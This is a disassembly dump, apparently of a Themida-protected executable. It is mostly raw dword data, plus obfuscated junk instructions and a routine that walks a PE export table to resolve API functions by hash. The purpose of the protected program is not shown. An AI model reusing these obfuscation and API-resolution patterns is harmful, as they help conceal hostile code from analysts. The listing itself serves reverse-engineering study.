		dd 1008B19Dh, 1EA8106h,	0F000000h, 1385h, 0C5858B00h, 0E9061007h
		dd 33h,	0F0492A51h, 0B7C8D6B0h,	14E9h, 0F6898100h, 48BD17D2h
		dd 0D8AE0395h, 4A34B445h, 0DF8ED402h, 0FF84E99Ah, 7B93FFFFh
		dd 3EB8ABEh, 0BF6B5CA4h, 0E93A32EDh, 83h, 56525153h, 245C8B57h
		dd 3B81661Ch, 850F5A4Dh, 68h, 3C43B70Fh, 8166D803h, 0F45503Bh
		dd 5785h, 785B8B00h, 1C245C03h,	324738Bh, 561C2474h, 8B207B8Bh
		dd 7C031C73h, 74032024h, 83FC2024h, 8B41FFC9h, 8B1C245Ch
		dd 24540317h, 4C78320h,	0C084028Ah, 33A0874h, 4243E875h
		dd 33AF2EBh, 0D15FE075h, 4B70FE1h, 86048B0Fh, 1C244403h
		dd 595A5E5Fh, 8C25Bh, 0F1E9C033h, 8BFFFFFFh, 7E8CAh, 0A2EA0000h
		dd 0C6C8CF36h, 0D18B66BEh, 0D08B6658h, 5F48C081h, 0BA660000h
		dd 0E2B9B8CAh, 813601C8h, 1DF41F1h, 0E8388B36h,	11h, 0A4533AB1h
		dd 6F11992Ch, 0B6329110h, 513C5E6Eh, 0F5DE81BDh, 5A37B91Eh
		dd 0FC3FEF81h, 0CAB771D7h, 0EE78F781h, 0E6806D1Bh, 59C781F4h
		dd 8B1D45F8h, 603889DFh, 800FE78Ah, 6, 950DD081h, 836178EDh
		dd 0FE902E8h, 80000000h, 0E26D06EFh, 75820F36h,	0EFDD6899h
		dd 4848D0BDh, 0E9835DB7h, 19850F01h, 66000000h,	1D5AF381h
		dd 25E9h, 7A308600h, 0F12FA7A3h, 6042210Ch, 0F9810F8Bh
		dd 83EB8166h, 0FF6FE90Ah, 3353FFFFh, 0D74365A2h, 13ECE49Ah
		dd 0F3E97C19h, 37000000h, 97424C5Dh, 838A055Ch,	1D76A188h
		dd 0DD7A0E0Ah, 3733538Fh, 557D2F6Dh, 7F2D773Dh,	7DD77DD5h
		dd 6DF73D57h, 73D575DFh, 3D577DD7h, 0D55FEDF7h,	37335375h
		dd 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6D171E57h, 602075DFh
		dd 20206020h, 2060E0E0h, 0F77B68ACh, 20A1E4A9h,	0A693B2D0h
		dd 0B99DB7EDh, 0ACA3F291h, 60206020h, 20206020h, 2060E0E0h
		dd 0A335375h, 557D2F0Dh, 60206020h, 0A7286020h,	50F0362Bh
		dd 0B6F360C9h, 0F796A1EFh, 0E3A7B4E0h, 0F47192B8h, 6DB9E9B3h
		dd 602060F7h, 60206020h, 6DF72020h, 73351ADFh, 3D577DD7h
		dd 0D55FEDF7h, 37335375h, 557D2F6Dh, 7F2D773Dh,	7DD77DD5h
		dd 6DF73D57h, 73D575DFh, 3D577DD7h, 0D55FEDF7h,	37335375h
		dd 357D2F6Dh, 0E0A1Eh, 0D25D3407h, 1E59A0A3h, 3	dup(0)
		dd 0E1E90000h, 6800000Ch, 613A338h, 0FCDFA3E9h,	0A45268FFh
		dd 99E90613h, 68FFFCDFh, 613A53Ah, 0FCDF8FE9h, 0A5F768FFh
		dd 85E90613h, 68FFFCDFh, 613A683h, 0FCDF7BE9h, 0A72B68FFh
		dd 71E90613h, 68FFFCDFh, 613A858h, 0FCDF67E9h, 0A93468FFh
		dd 5DE90613h, 68FFFCDFh, 613AA3Dh, 0FCDF53E9h, 0AAFC68FFh
		dd 49E90613h, 68FFFCDFh, 613ABE3h, 0FCDF3FE9h, 1F6204FFh
		dd 3D742CABh, 1A53FA81h, 3774179Eh, 1150F483h, 2153AF9Dh
		dd 0FD7C306Fh, 0C84F0B4Ch, 0E473E722h, 5752063Bh, 0DD1CA665h
		dd 0FBF86BDFh, 4E793231h, 0CC7CE75Bh, 0E388FF6Dh, 0FAA6CAA6h
		dd 3DE92ADBh, 0AA5BDE82h, 10AF9469h, 0A9255A11h, 4C1EBD5Ch
		dd 0CEA0D78Dh, 0CC7C67DBh, 0C6A37F6Dh, 1D02F7B2h, 9CC267FCh
		dd 23A355EDh, 845EA94h,	0C68181Ch, 1D2F2BEFh, 0D46E1D43h
		dd 309423A3h, 0A3FD4534h, 46E49423h, 90E311B2h,	550E857Dh
		dd 7F2A4420h, 9423C6C3h, 74324723h, 0C579AE55h,	7BD8D36h
		dd 4062EBD0h, 0CBB50F1h, 0D06D3CE8h, 299423A9h,	5CDFFB9Ah
		dd 0C48F6CA5h, 8872E61Bh, 2FE31CD1h, 9BB7F298h,	194EF5BEh
		dd 8AB56E6Dh, 23A9239Fh, 8B67C394h, 2A1C297h, 245B11C8h
		dd 9ED38C47h, 609E6F2Ah, 3F7E397Bh, 80000005h, 0DEDB814Bh
		dd 0A0BD1EABh, 44793204h, 0ED55542Ah, 96DCC7Ch,	374E502Dh
		dd 0BA815B90h, 982AE116h, 7C6DCC7Ch, 54D0C4A0h,	5362BF77h
		dd 3FE37688h, 65A24504h, 90B97088h, 7667FC11h, 0E75F06FAh
		dd 6942396h, 0BA13D66Dh, 9A397B3Fh, 2Fh, 396E15A4h, 5A9B4E4Dh
		dd 2FA6CAA6h, 0A3293E7Dh, 4C1EBD5Ch, 0FC7C745Dh, 0EA969267h
		dd 3C7C03BBh, 32D1E294h, 7B35F6B7h, 0E3D639h, 32340000h
		dd 0CD02A979h, 0BA9E54D9h, 0AEB9B2B9h, 71D1B892h, 956DCC7Eh
		dd 0D2C9BD99h, 629F441Eh, 4CF3927Eh, 968AC77Ch,	79C9C09Ah
		dd 9D6DCC7Eh, 10CBA5C1h, 5C4A1F5Ah, 0DD51863Dh,	0CC02A12Eh
		dd 0B8ED966Dh, 45441A04h, 923382FDh, 73401D19h,	16EB97CCh
		dd 702DCFFh, 9803F41Ah,	0C18FB19Ah, 3E7F8BD0h, 52274B8Ah
		dd 0D1FAD450h, 498537D2h, 0D62E1B54h, 62687D67h, 0A57DFFCh
		dd 2BDEF0EBh, 9E152786h, 0FCAA480h, 344C215Ah, 8C403A5h
		dd 3BA0DF91h, 403ACC03h, 0B590190Dh, 0FA000009h, 22991558h
		dd 77336Ah, 1D9C1049h, 2AB12D6Ah, 95934786h, 0A49FB69h
		dd 0E526C74Eh, 13CF269h, 0E015CE4Dh, 8C7F816Ch,	6BDFDF36h
		dd 324BD1CEh, 0AE2D3F7Eh, 63DFCAF5h, 836DCC7Ch,	28AECBA7h
		dd 9C5FAB1h, 1EBD5C83h,	7C745D4Ch, 969267FCh, 6B3887C4h
		dd 971DC91Fh, 2995C4C2h, 0CC943C4Bh, 14DD18B7h,	0F4397AFFh
		dd 0EDh, 5D9E4F0Ah, 7932A480h, 6549F63Bh, 6326AC48h, 6DCC99DFh
		dd 3B173B37h, 679C5047h, 0CC991EA4h, 4D7AF66Dh,	4612BA49h
		dd 4E421EBDh, 0CC078E07h, 95CA816Dh, 47194719h,	0CC7FFE44h
		dd 6B1A166Dh, 6DCC7FD7h, 0BDDC9EFAh, 5646F322h,	0EC886BD1h
		dd 698DFFD7h, 0EB20C794h, 0A72BCA37h, 0F1CB5B94h, 0A66577EAh
		dd 6DCC301Ch, 86587CF8h, 1FD310B3h, 57522643h, 67FC464Ah
		dd 623CF06Ch, 0E3F833D7h, 96687382h, 0A8F2F93h,	7316A59Eh
		dd 9651532h, 7B58F6F7h,	0FF8961FFh, 0A14316EAh,	0BD6FE662h
		dd 0DE6BD97Eh, 7125403Bh, 89B68h, 0EB2EE000h, 940E86Fh
		dd 0E61FC655h, 340E372h, 0DD1CD047h, 0ED1F6B61h, 0B940FC3Bh
		dd 0D463D718h, 0C037F32Eh, 7356D207h, 0D820A289h, 0E7C46BDFh
		dd 3F7E325Dh, 1E530C8Bh, 6709D0AAh, 0E3F87C28h,	5F04D749h
		dd 0D58E4522h, 2ED5F4A0h, 1C9945F9h, 91786678h,	6DCC7C31h
		dd 10B259D5h, 0F46DCC7Ch, 7C3B8782h, 7FDB6DCCh,	23FE463h
		dd 0A835120Eh, 0CEB0CA11h, 681C570Bh, 0AF34EF0Ch, 2567FC20h
		dd 96B3F296h, 887688E4h, 2FE31CD1h, 0A0FE4433h,	1A169423h
		dd 3C9723Dh, 2697EB2Ch,	77324C8Fh, 9CDB718Ah, 0FC19214Ah
		dd 1F30453Ah, 28DC584Ah, 2A93CDBh, 98DBD640h, 0D2ACC8A4h
		dd 0EC2BF1D7h, 3B151192h, 0ED9CC780h, 82C85855h, 53F6B5B1h
		dd 0FB7A2E12h, 5E890644h, 0E4007CD2h, 6FD75B00h, 0EDB95CE2h
		dd 7B3FCh, 1356F800h, 31682097h, 0E47FE7Dh, 2B681B9Ah
		dd 458428AFh, 0F567A389h, 21981453h, 0FC7B2F70h, 0C84F0B46h
		dd 7B6EEA1Fh, 0D9388A81h, 0FFDC6BDFh, 44793235h, 87546350h
		dd 5FDB675h, 9D9967FCh,	0A635C421h, 7E2FAAD4h, 8AFE4447h
		dd 1A169423h, 11E64A36h, 146A491Ah, 0F6B5CB9Eh,	9E102A4Ch
		dd 0EBAFCCA8h, 26DE5D6Fh, 5A8F38EFh, 0CBADCAA6h, 0A6225710h
		dd 4F43782Fh, 76885362h, 12334975h, 95B229AAh, 0F6A2C8C3h
		dd 6629427h, 89BE65F4h,	5F02EBD5h, 9DB40060h, 67209BB0h
		dd 3331832h, 0AF105001h, 826F2F4Ch, 93966873h, 8A341CA2h
		dd 0FD7BE03Ch, 0D3545E18h, 6F6D2C3h, 8B3B0000h,	5F059448h
		dd 8025B428h, 5F049347h, 7D2FA622h, 609C8A3Eh, 4BFF3EF2h
		dd 64D819CCh, 42F631D5h, 63D70CB3h, 2D959468h, 0C96BDFD9h
		dd 0BD5C60ECh, 77324C1Eh, 6DCC7CCBh, 461A2F2Bh,	0FB9B2F43h
		dd 718BE767h, 0BD7042EAh, 0C8AC587Ch, 550ECDB3h, 79304E20h
		dd 94201DC9h, 0A21C312Dh, 114E01B8h, 0AA1CF865h, 8343E53Fh
		dd 1AD18A5Fh, 35C431E5h, 721E550Bh, 11F8D2EEh, 9E109240h
		dd 0A5BD2A06h, 6B403A9Ah, 66A2ABBh, 0FFAF0000h,	0D37900BCh
		dd 0F499209Ch, 0D378FFBBh, 0F1932296h, 0F410F6B2h, 27A3E286h
		dd 0BCFDB0h, 1E9AD579h,	0FFBBF097h, 0C979300Ch,	2D6BDFDAh
		dd 0BD5CE4B0h, 45D4C1Eh, 8067FB9Ch, 0EEDB14B9h,	3DF3376Ch
		dd 54462301h, 6D806D8h,	203EBF03h, 0FEDB5794h, 87598E35h
		dd 1FD30EB4h, 29B02643h, 6C594D82h, 0A2BC8E4Dh,	203E5BE7h
		dd 8D5FBB94h, 203E249Eh, 8764C094h, 0D9D0BA71h,	6C929E17h
		dd 14DE05BDh, 6885E19Eh, 15A4B6B2h, 0F685396Eh,	976C184Dh
		dd 8A815B80h, 9424A7B5h, 8468D551h, 0AA5E2E8Fh,	5C2E9FAh
		dd 67070000h, 7B31A824h, 5C118844h, 7B30A723h, 590B8A3Eh
		dd 5CA89E1Ah, 7F3B7A2Eh, 981455F8h, 76326D21h, 971348FFh
		dd 61E1C8B4h, 856BDFDBh, 79329C28h, 0FDAF2A44h,	794ED2BEh
		dd 20550E8Dh, 1BC057ACh, 11614A41h, 0C9A567FCh,	447D24B7h
		dd 5B943950h, 0D2A7CBA7h, 973985D4h, 64DC9423h,	8CAEC767h
		dd 4C214B3Bh, 0D41DD877h, 0B4397B7Bh, 44h, 215A0FCAh, 0A9D7804Ch
		dd 0CC7C4002h, 792DA46Dh, 0B845223Eh, 0E9A0BA21h, 67FC7CC8h
		dd 8A913F2Ch, 0D70E85C6h, 70240002h, 23FA9D29h,	0AC438094h
		dd 7BAF8849h, 0BF6839h,	55960000h, 879377C8h, 2400DD57h
		dd 50447932h, 86589739h, 7C11B158h, 79F56DCCh, 7C1EA467h
		dd 7AF66DCCh, 812AA15Dh, 8A41584Ch, 0A532D955h,	9A6DCC00h
		dd 0E126B3F1h, 0BBD5935h, 0A34615E7h, 4AD18562h, 4BB86CA1h
		dd 6E1D2FACh, 980318ADh, 461DD59h, 1514E6F5h, 9E15B025h
		dd 0D08B65C1h, 659E431Bh, 0E591B5B1h, 0EC21CA81h, 391F3C38h
		dd 1B8FCE82h, 44A9E89Ch, 403A5B56h, 95BB2CF8h, 0DA000004h
		dd 0C239F538h, 0E057D30Ah, 0BD3CF029h, 8A11CD0Ah, 3533A7E6h
		dd 0AAE99BC9h, 0C506A72Eh, 0A1DC9209h, 0C0F5AE2Dh, 6C1F210Ch
		dd 6BDFD4D6h, 32EBB12Eh, 0C8B3F7Eh, 0A2E18353h,	0DA4E72EEh
		dd 1EBD5C4Ch, 7C745D4Ch, 7B7067FCh, 2D9BBFBCh, 6416335Ah
		dd 0F14D1C08h, 14943CA8h, 0CC25C05Fh, 3C397A61h
		dd 998DCA7Dh, 0BD08C09Dh, 82000000h, 2A447932h,	36F82541h
		dd 3B0EAA7h, 74EC58D8h,	7F7F5C78h, 71256408h, 0CCD8AD2Ah
		dd 0B4E9A26Dh, 95CA81F8h, 14CC8FE1h, 6CA95EDDh,	3E9FBCB8h
		dd 5F4A24B7h, 67FCDB9Ah, 277C302Ch, 7A314B90h, 9E0A70A1h
		dd 0E917E945h, 9980BD72h, 9E127029h, 647C51CDh,	38F433D5h
		dd 2FDA0FC1h, 9E127093h, 6EDBF773h, 40381B9Ah, 0B9970014h
		dd 0FE000003h, 0C655094Ch, 0E473E71Eh, 0D148043Dh, 0EE6DE11Eh
		dd 493FFB3Ah, 0DE1DCF3Dh, 0F93AEB6Ah, 0D510B645h, 0F429E259h
		dd 0C06B5538h, 6BDFD502h, 323F05E2h, 0AE2D3F7Eh, 61E1C8F7h
		dd 856DCC7Ch, 5DD9CDA9h, 883FB680h, 2BD712B8h, 19AF2B47h
		dd 225F04D7h, 5ED5F26Eh, 9AA67A5h, 0BBDB0AB1h, 0C9ADC90Ah
		dd 30D863DDh, 4D910AF0h, 896DA8FBh, 0F7C4999Dh,	5B571250h
		dd 0EC05208h, 0CBE27632h, 52F09BC5h, 0B26DCC5Eh, 1249FFB6h
		dd 98E5025Eh, 5E805A81h, 3E17156Dh, 0FEADDFBBh,	6DCC5F44h
		dd 0D1A7C4A0h, 0FC0349DAh, 0DFF16D67h, 8D6AA75Ch, 0D5519C2h
		dd 0C5547876h, 0C3B7980Dh, 2DAC09B4h, 0EC483C7Bh, 0CE33F608h
		dd 0A8324657h, 0D366D8CCh, 2CFEF231h, 6635C57Dh, 21452122h
		dd 0C11AB94Ch, 0C8DCFCAFh, 48242851h, 0C7FCA336h, 92442913h
		dd 0E9E9CD42h, 0EF684E7Bh, 5AE10AEFh, 0D80DB67Dh, 7035AB73h
		dd 881105FAh, 2B0h, 961255F5h, 7632691Fh, 9D114AFFh, 0B02C691Eh
		dd 94488729h, 54F86A96h, 6F229915h, 47FB7A2Eh, 22C9500Ch
		dd 827E71EDh, 0DFD63B87h, 36FEDB6Bh, 2A447932h,	8D6FCA41h
		dd 0ED0A2456h, 0A635C431h, 0A25CD5D4h, 0E15867FCh, 953AF12Eh
		dd 0B3C8AC58h, 0C4CB6AEFh, 377C318Ch, 0AAFB9F1Bh, 314B9027h
		dd 0CADE97Ah, 96110D9Eh, 9E8255E5h, 0D605145Bh,	598E3504h
		dd 49825C84h, 36CD158Ah, 0F4AB2A15h, 1AABFh, 0E650AD41h
		dd 0C2653BEFh, 0B1959185h, 918561C5h, 2B661C9Fh, 7FDEFB77h
		dd 0A2896378h, 56BABABAh, 0E2FCCE4Ah, 5D7AB157h, 44F82DD6h
		dd 74D90EB5h, 98CBA2A0h, 0F18D160Eh, 36000001h,	5EDD5194h
		dd 3CBB6FA6h, 9904C85h,	26B52966h, 0A1874382h, 1655F765h
		dd 317213A2h, 0D48FE7Dh, 0EC21CA51h, 88837D70h,	6BDFD63Ah
		dd 3237FDDAh, 63504479h, 0B6758754h, 67FC1239h,	468759D5h
		dd 0B859A874h, 0C2A78B77h, 2542531Ah, 3CBD0DB1h, 522C3E9Dh
		dd 0FD2A5A19h, 0E0FD956Bh, 13DFBE23h, 8B41589Eh, 0FCD817B9h
		dd 0B4AE5DD8h, 2E4704B3h, 9F67B43Dh, 0C9EEA66Eh, 0C96429F3h
		dd 3BCA9F5Ah, 532D3F9Ch, 0F6AADF88h, 0CB08BB7Ah, 857E5BD7h
		dd 5D10857Ch, 508F41F8h, 0F7AB877Bh, 92C44885h,	2BA83D97h
		dd 0B328AF4Eh, 52CAF299h, 0DE3A5327h, 60974D0Ch, 31279B8Eh
		dd 63BF4305h, 40E77286h, 0EE6D4F0Bh, 2A06FA3Bh,	9FDD864Dh
		dd 9835BF1Eh, 0F99FCCB5h, 0B7E55E7Bh, 38EE5B77h, 769D2F36h
		dd 10A359Eh, 9F4F0000h,	0B359E05Ch, 9439C07Ch, 0B358DF5Bh
		dd 9133C276h, 94F0D652h, 0C783C266h, 0E05C9D50h, 0BE7AB559h
		dd 0DF5B9037h, 0A91910ECh, 4D6BDFD7h, 7932C450h, 54635044h
		dd 0EEE1657Eh, 3AF1136Fh, 0CBA75B92h, 0D9D6D5A7h, 0F567FC4Bh
		dd 2ED46779h, 581AFFF3h, 0F48D07A2h, 5CE2F7DBh,	4010B782h
		dd 55724E8Bh, 10EAF108h, 0B9F7519h, 0EF11EF9Eh,	1018863Ch
		dd 13025E9Eh, 9E1018AFh, 0E090C980h, 0AEB36784h, 7EC6E08Dh
		dd 0E02DEC7h, 1F9BD077h, 90C57E3Dh, 0F06B80E4h,	87C46737h
		dd 0C7BB979Bh, 70440BA0h, 48E7B8D2h, 0D91ACB8Eh, 0A734492Dh
		dd 880FCB00h, 0DFF6AADFh, 5EDDEF2Ch, 908E6BAAh,	0FFB12806h
		dd 7918ABC0h, 0FAE40FB8h, 0B044B30Fh, 30D753C2h, 0C2B04492h
		dd 0C9BDF6ABh, 9DB9B56Dh, 1752F8C3h, 6CF2076Bh,	150136EDh
		dd 0A8E8A01Bh, 4A2B3028h, 422E1274h, 0D6009DEh,	60000000h
		dd 0D2378B7Eh, 53CFC2B0h, 6D5FAE76h, 493D8032h,	0B0649952h
		dd 463A7519h, 0A95D9E4Fh, 533F7E32h, 0A5519034h, 50448126h
		dd 0A75B9439h, 55417830h, 17D68CFh, 34890000h, 0E1895124h
		dd 4C181h, 0E9810000h, 4, 5C240C87h, 52240489h,	0C281E289h
		dd 4, 8704EA83h, 895C2414h, 0BD55241Ch,	613A12Eh, 89EF8957h
		dd 545D5FF8h, 81241C8Bh, 4C4h, 0B9515000h, 562F718Fh, 4244C31h
		dd 8438F59h, 8F087381h,	0FF562F71h, 815B2434h, 4C4h, 24048B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		dd 0CD587F5Fh, 0C4D5D099h, 2E3CCDCDh, 13AD12B8h, 0FFC50306h
		dd 314AFAE0h, 445ABD7Fh, 42DD8D2Ch, 6AD3131Dh, 519A0858h
		dd 0AD316051h, 4588D179h, 39C7CB63h, 3A4DF776h,	57982665h
		dd 9F9A716Dh, 2D57BB4Ch, 0E6179D67h, 9B27D70Ch,	6E1A4438h
		dd 2D109511h, 148E95Eh,	500000h, 540000h, 580000h, 5C0000h
		dd 600000h, 640000h, 680000h, 6C0000h, 0B00000h, 0B40000h
		dd 0B80000h, 0BC0000h, 0C00000h, 0C40000h, 0C80000h, 0CC0000h
		dd 0D00000h, 0D40000h, 0D80000h, 0DC0000h, 0E00000h, 0E40000h
		dd 0E80000h, 0EC0000h, 38h dup(0)
		dd 62BA0000h, 50EB0058h, 858D00A2h, 613ADEFh, 11D59D33h
		dd 85890610h, 613AF2Fh,	11F19529h, 85C60610h, 61023E5h
		dd 0F2815254h, 5CE29294h, 0F6A16859h, 0FA8BDA0Fh, 88243481h
		dd 8B346D9Eh, 100CA9B5h, 45B5FF06h, 8B06101Dh, 10096595h
		dd 7DBD2B06h, 8D061005h, 13858A85h, 85896006h, 6100845h
		dd 8F0F53h, 59000000h, 14E961h,	5C1C0000h, 0CF4B4863h
		dd 87D89017h, 5A7E10F6h, 0C70C6F1Dh, 0D0FFE003h, 6810Fh
		dd 0B5030000h, 61005D9h, 0AF338589h, 958B0613h,	6102F29h
		dd 44E9h, 559D8B00h
; ---------------------------------------------------------------------------
		sbb	edx, [eax]
		push	es


loc_586443:				; DATA XREF: Themida_:0054BCA0o
					; Themida_:0054C1A0o ...
		push	esi
		mov	esi, [ebp+613AF2Fh]
		mov	[esi], eax
		add	dword ptr [ebp+613AF2Fh], 4
		pop	esi
		retn
; ---------------------------------------------------------------------------
		pusha
		lea	esi, [ebp+613ADEFh]
		jmp	short loc_58646D
; ---------------------------------------------------------------------------


loc_58645E:				; CODE XREF: Themida_:00586470j
		push	esi
		push	0
		push	dword ptr [esi]
		call	dword ptr [ebp+613AF33h]
		pop	esi
		add	esi, 4


loc_58646D:				; CODE XREF: Themida_:0058645Cj
		cmp	dword ptr [esi], 0
		jnz	short loc_58645E
		popa
		retn
; ---------------------------------------------------------------------------
		jmp	loc_586481
; ---------------------------------------------------------------------------
		db 0AFh, 0Ah, 93h
; ---------------------------------------------------------------------------
		sub	eax, 209F7F4h


loc_586481:				; CODE XREF: Themida_:00586474j
		lea	eax, [ebp+613AFEAh]
		jnp	loc_586499
		jns	loc_586499
		mov	edi, [ebp+6102E95h]


loc_586499:				; CODE XREF: Themida_:00586487j
					; Themida_:0058648Dj
		mov	[ebp+6102AD1h],	eax
		jmp	short loc_5864F0
; ---------------------------------------------------------------------------
		db 8Fh,	1Ch, 25h
		dd 0A108ABFAh, 0A4ACDAC6h, 5CD2D41Ch, 0CE00E45Ch, 1BF53134h
		dd 29B327CEh, 0DD5B34D1h, 17E62AC7h, 34DF1BCEh,	0A6DB67h
		dd 475D2Fh, 0D5A3EA1Ah,	0
		dd 0FECB199Ch, 0FE490000h, 0FBh, 52DDB487h, 9ED92023h
		dd 77E7339Ch
; ---------------------------------------------------------------------------


loc_5864F0:				; CODE XREF: Themida_:0058649Fj
		jmp	loc_587619
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_586500
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_586500	proc near		; CODE XREF: Themida_:005864F8p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_586500	endp

; ---------------------------------------------------------------------------
		dd 966262B6h, 9BD8322h,	61022h,	30850Fh, 0BE90000h, 0B8000000h
		dd 0EF84C81h, 5C2AC205h, 0B88931h, 89000000h, 102941B5h
		dd 41BD0306h, 0C2061031h, 9D010004h, 61008DDh, 1EA58589h
		dd 0C08B0610h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	23C35343h, 335D8D8Bh, 95290610h, 6102945h, 158DBD83h
		dd 75000610h, 95BD8309h, 61000h, 53501374h, 0D0B8C08Bh
		dd 8D000004h, 12B5E99Dh, 5BD3FF06h, 95BD8358h, 61000h
		dd 53501174h, 4D0B8h, 369D8D00h, 0FF0612B5h, 6A585BD3h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0E3BBC356h, 0FF98B66h, 0C08BFABFh, 23C78166h
		dd 6E81Ah
		db 2 dup(0)
word_5865EA	dw 3BD5h		; DATA XREF: Themida_:0054E578o
		dd 0B0E79F40h, 8F0Fh, 8D590000h, 13B07985h, 0D78B6606h
		dd 310D8D89h, 8B900610h, 0E86050F8h, 0Fh, 5D012DCEh, 0DFE0AD7Dh
		dd 0D45533BCh, 0BE5428CBh, 7F48EF00h, 61F28B5Ah, 56006A90h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 858D3FA6h, 613B036h,	2820Fh,	0C0B10000h, 0D38B6650h
		dd 6A240489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0CC7BC351h, 0F2442EE4h, 0F680C681h
		dd 7995FF91h, 6A061009h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 581AC356h, 0F281665Eh
		dd 0C9D5809Ch, 26E98166h, 24448B5Dh, 0B1DE8004h, 0B0618589h
		dd 6A0613h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0AF41D4C3h, 0F9FDD58h, 448BFBBFh,	0BD2B0824h
		dd 6102935h, 16A19D89h,	85890610h, 613B075h, 75BD83F8h
		dd 61007h, 0C1850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 0FE9AB1C3h, 23E585C6h
		dd 0E8470610h, 4, 0D49AA7D2h, 7C44BF50h, 448B1E90h, 89B50424h
		dd 4489008Bh, 0BF660424h, 6A58BAA0h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0F52C355h
		dd 958BFFBFh, 61010D5h,	1D45B5FFh, 8B660610h, 8A858DD7h
		dd 60061385h, 0CE9h, 0F7805200h, 0B9928945h, 90C5CA93h
		dd 8D9D09C6h, 6106101Bh, 958BD0FFh, 6100B39h, 7758589h
		dd 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 0B80A32C3h, 837A4B55h, 100D85BDh,	850F0006h
		dd 0DBh, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 19h,	98C35141h, 0CCA68A0h, 8E9D0h, 6EF70000h, 23A468Dh
		dd 0DA815A64h, 6EF074E2h, 23E585C6h, 8A470610h,	61BD8BD3h
		dd 6806101Bh, 0EACDBA0h, 42240481h, 8B7B62DAh, 45B5FFCAh
		dd 6A06101Dh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 36BBC356h, 6AC3A376h, 2976B6CAh
		dd 10201595h, 8A858D06h, 0E8061385h, 11h, 66A12667h, 7DB727D2h
		dd 0F314708Fh, 0C58010D8h, 5964B61Eh, 95B9BA66h, 8589D0FFh
		dd 61006F5h, 0D858589h,	6A0610h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 1C25F4C3h, 0D2A429F2h
		dd 458529EDh, 83061008h, 102FB5BDh, 850F0006h, 9Ch, 0C6FE8B66h
		dd 1023E585h, 85895606h, 61022B5h, 0E212E068h, 0AE997h
		dd 0DBB50000h, 1FB96EDh, 0BB82CDE3h, 0D9243481h, 8943FD7Fh
		dd 1018F995h, 45B5FF06h, 6A06101Dh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0F3CFC351h
		dd 28A0Fh, 0CCB20000h, 858A858Dh, 9D890613h, 6100EE5h
		dd 0B70FD0FFh, 0B58589D1h, 6A06102Fh, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 4E70C351h
		dd 7EBF6664h, 958B3A0Fh, 6102EA1h, 23E585C6h, 6A6C0610h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0D35FC352h, 1CD0EAC8h, 8A0FDECFh,	0Fh, 0AE9h
		dd 0D9593F00h, 8FEB96DDh, 0E86EF41Eh, 4, 0DB057083h, 0FE8h
		dd 60D79900h, 3268F8D6h, 1592ADE7h, 2EF20BD4h, 14E95250h
		dd 98000000h, 3BF84F84h, 0D7593545h, 80902F20h,	6A482C45h
		dd 0FD4FC01h, 0A80EBF31h, 585A40C0h, 800F505Fh,	4, 697CB966h
		dd 424448Bh, 0B557008Bh, 44895FACh, 7ABF0424h, 581F3CC2h
		dd 50F7BBFh, 99B5FF37h,	6A061014h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0DA0EC351h
		dd 5E9h, 2C82E400h, 858D9CFFh, 6103A32h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Dh, 4EC35545h, 64C14829h
		dd 6047B113h, 1D952366h, 0FF061002h, 52006AD0h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0B4B201A7h
		dd 0B0658589h, 0EE90613h, 8000000h, 8DDE43F6h, 884117B6h
		dd 0D66D7201h, 81BD83E3h, 613B0h, 8A850Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0EEDF42C3h, 23E585C6h, 6A490610h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 3ACC357h
		dd 0DD70CEF7h, 8B661EE7h, 364568D1h, 0B966F69Ch, 34818A11h
		dd 891FAC24h, 99B5FF7Ah, 0F061014h, 68Fh, 1DBD0100h, 8D061022h
		dd 103A3285h, 0FD0FF06h, 686h, 51BD0100h, 89061020h, 13B08185h
		dd 0D2B70F06h, 6A046Ah,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 153435C3h, 22F78166h, 0DDA86816h
		dd 9E98F1Ah, 66000000h,	0D5470CEFh, 54019261h, 58240481h
		dd 2970E532h, 103071B5h, 6D8D0106h, 0E8061010h,	4, 10000h
		dd 8B525060h, 0B5310FD0h, 50585A58h, 0FC38B52h,	5AF08B31h
		dd 50506158h, 0FA8B6652h, 8B66310Fh, 8B585AFBh,	0E8042444h
		dd 11h,	2E2BD4F5h, 368D5EA1h, 79F1D2C0h, 0D58DF758h, 0CE8B661Fh
